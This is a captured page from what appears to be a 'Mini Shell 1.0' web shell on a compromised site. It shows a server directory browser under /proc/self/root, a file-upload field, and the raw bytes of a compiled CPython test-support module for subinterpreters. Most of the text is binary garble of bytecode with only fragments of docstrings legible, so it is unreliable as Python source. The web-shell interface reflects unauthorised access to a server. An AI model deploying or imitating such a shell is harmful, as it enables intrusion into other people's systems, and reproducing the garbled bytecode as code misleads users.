HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/lib/python3.11/test/support/__pycache__/
Upload File :
Current File : //proc/self/root/lib/python3.11/test/support/__pycache__/interpreters.cpython-311.pyc
�

*�Kg�����dZddlZddlZddlmZmZmZmZgd�Zdd�d�Z	d�Z
d	�Zd
�ZGd�d��Z
d
�Zd�ZGd�d��Ze��ZGd�de��ZGd�de��ZdS)z"Subinterpreters High Level Module.�N)�ChannelError�ChannelNotFoundError�ChannelEmptyError�is_shareable)
�Interpreter�get_current�get_main�create�list_all�SendChannel�RecvChannel�create_channel�list_all_channelsrrrrT��isolatedc�N�tj|���}t||���S)z'Return a new (idle) Python interpreter.r)�
_interpretersr
r)r�ids  �0/usr/lib/python3.11/test/support/interpreters.pyr
r
s(��	�	�x�	0�	0�	0�B��r�H�-�-�-�-�c�<�d�tj��D��S)z!Return all existing interpreters.c�,�g|]}t|����S�)r)�.0rs  r�
<listcomp>zlist_all.<locals>.<listcomp>s��?�?�?��K��O�O�?�?�?r)rrrrrrrs��?�?�m�&<�&>�&>�?�?�?�?rc�F�tj��}t|��S)z)Return the currently running interpreter.)rrr�rs rrr!s��	�	"�	$�	$�B��r�?�?�rc�F�tj��}t|��S)zReturn the main interpreter.)rr	rrs rr	r	's��	�	�	!�	!�B��r�?�?�rc�t�eZdZdZdd�d�Zd�Zd�Zd�Zed���Z	ed	���Z
d
�Zd�Zdd�d
�Z
dS)rzA single Python interpreter.Nrc��t|ttjf��st	d|�����||_||_dS�Nzid must be an int, got )�
isinstance�intr�
InterpreterID�	TypeError�_id�	_isolated)�selfrrs   r�__init__zInterpreter.__init__0sE���"�s�M�$?�@�A�A�	>��<�b�<�<�=�=�=����!����rc���tt|j��|j���}d�|���D��}t|��j�dd�|���d�S)N)rrc3�*K�|]\}}|�d|��V��dS)�=Nr)r�k�vs   r�	<genexpr>z'Interpreter.__repr__.<locals>.<genexpr>8s0����8�8�4�1�a�Q�,�,��,�,�8�8�8�8�8�8r�(z, �))�dictr#r&r'�items�type�__name__�join)r(�data�kwargss   r�__repr__zInterpreter.__repr__6se���s�4�8�}�}�t�~�>�>�>��8�8�4�:�:�<�<�8�8�8���t�*�*�%�<�<��	�	�&�(9�(9�<�<�<�<rc�*�t|j��S�N��hashr&�r(s r�__hash__zInterpreter.__hash__;����D�H�~�~�rc�Z�t|t��stS|j|jkSr;)r"r�NotImplementedr&�r(�others  r�__eq__zInterpreter.__eq__>s)���%��-�-�	)�!�!��9���(�(rc��|jSr;�r&r>s rrzInterpreter.idD�	���x�rc�Z�|j�tj|j��|_|jSr;)r'r�is_isolatedr&r>s rrzInterpreter.isolatedHs(���>�!�+�6�t�x�@�@�D�N��~�rc�4�tj|j��S)z<Return whether or not the identified interpreter is running.)r�
is_runningr&r>s rrLzInterpreter.is_runningPs���'���1�1�1rc�4�tj|j��S)z�Finalize and destroy the interpreter.

        Attempting to destroy the current interpreter results
        in a RuntimeError.
        )r�destroyr&r>s r�closezInterpreter.closeTs���$�T�X�.�.�.r)�channelsc�<�tj|j||��dS)zqRun the given source code in the interpreter.

        This blocks the current Python thread until done.
        N)r�
run_stringr&)r(�src_strrPs   r�runzInterpreter.run\s!��
	� ���7�H�=�=�=�=�=r)r5�
__module__�__qualname__�__doc__r)r9r?rE�propertyrrrLrOrTrrrrr-s�������&�&�'+�"�"�"�"�"�=�=�=�
���)�)�)�����X������X��2�2�2�/�/�/�+/�>�>�>�>�>�>�>rrc�l�tj��}t|��t|��}}||fS)z�Return (recv, send) for a new cross-interpreter channel.

    The channel may be used to pass data safely between interpreters.
    )r�channel_creater
r)�cid�recv�sends   rrrds5��
�
&�
(�
(�C��S�!�!�;�s�#3�#3�$�D���:�rc�<�d�tj��D��S)z4Return a list of (recv, send) for all open channels.c�J�g|] }t|��t|��f��!Sr)r
r)rr[s  rrz%list_all_channels.<locals>.<listcomp>ps=��9�9�9����
�
�{�3�/�/�0�9�9�9r)r�channel_list_allrrrrrns,��9�9�$�5�7�7�9�9�9�9rc�@�eZdZdZd�Zd�Zd�Zd�Zed���Z	dS)�_ChannelEndz/The base class for RecvChannel and SendChannel.c�z�t|ttjf��st	d|�����||_dSr!)r"r#r�	ChannelIDr%r&)r(rs  rr)z_ChannelEnd.__init__ws>���"�s�M�$;�<�=�=�	>��<�b�<�<�=�=�=�����rc�Z�t|��j�dt|j���d�S)Nz(id=r1)r4r5r#r&r>s rr9z_ChannelEnd.__repr__|s*���t�*�*�%�;�;�3�t�x�=�=�;�;�;�;rc�*�t|j��Sr;r<r>s rr?z_ChannelEnd.__hash__r@rc��t|t��rt|t��stSnt|t��stS|j|jkSr;)r"r
rBrr&rCs  rrEz_ChannelEnd.__eq__�sX���d�K�(�(�	"��e�[�1�1�
&�%�%�
&��E�;�/�/�	"�!�!��y�D�H�$�$rc��|jSr;rGr>s rrz_ChannelEnd.id�rHrN)
r5rUrVrWr)r9r?rErXrrrrrbrbtsq������9�9����
<�<�<����%�%�%�����X���rrbc�:�eZdZdZe��dd�d�Zefd�ZdS)r
z1The receiving end of a cross-interpreter channel.g{�G�z�?)�	_sentinel�_delayc��tj|j|��}||ur2tj|��tj|j|��}||u�2|S)z�Return the next object from the channel.

        This blocks until an object has been sent, if none have been
        sent already.
        )r�channel_recvr&�time�sleep)r(rjrk�objs    rr\zRecvChannel.recv�s[���(���9�=�=���Y����J�v�����,�T�X�y�A�A�C��Y����
rc�z�|turtj|j��Stj|j|��S)z�Return the next object from the channel.

        If none have been sent then return the default if one
        is provided or fail with ChannelEmptyError.  Otherwise this
        is the same as recv().
        )�_NOT_SETrrmr&)r(�defaults  r�recv_nowaitzRecvChannel.recv_nowait�s7���h��� �-�d�h�7�7�7� �-�d�h��@�@�@rN)r5rUrVrW�objectr\rrrtrrrr
r
�s]������;�;� &�����
�
�
�
�
�#+�
A�
A�
A�
A�
A�
Arr
c��eZdZdZd�Zd�ZdS)rz/The sending end of a cross-interpreter channel.c�b�tj|j|��tjd��dS)z{Send the object (i.e. its data) to the channel's receiving end.

        This blocks until the object is received.
        �N)r�channel_sendr&rnro�r(rps  rr]zSendChannel.send�s,��
	�"�4�8�S�1�1�1�	
�
�1�
�
�
�
�
rc�6�tj|j|��S)z�Send the object to the channel's receiving end.

        If the object is immediately received then return True
        (else False).  Otherwise this is the same as send().
        )rryr&rzs  r�send_nowaitzSendChannel.send_nowait�s���)�$�(�C�8�8�8rN)r5rUrVrWr]r|rrrrr�s8������9�9�	�	�	�	9�	9�	9�	9�	9rr)rWrn�_xxsubinterpretersrrrrr�__all__r
rrr	rrrrbrurrr
rrrr�<module>rs���(�(�����*�*�*�*������������������.�.�.�.�.�@�@�@�
������4>�4>�4>�4>�4>�4>�4>�4>�n���9�9�9���������6�6�8�8��A�A�A�A�A�+�A�A�A�89�9�9�9�9�+�9�9�9�9�9r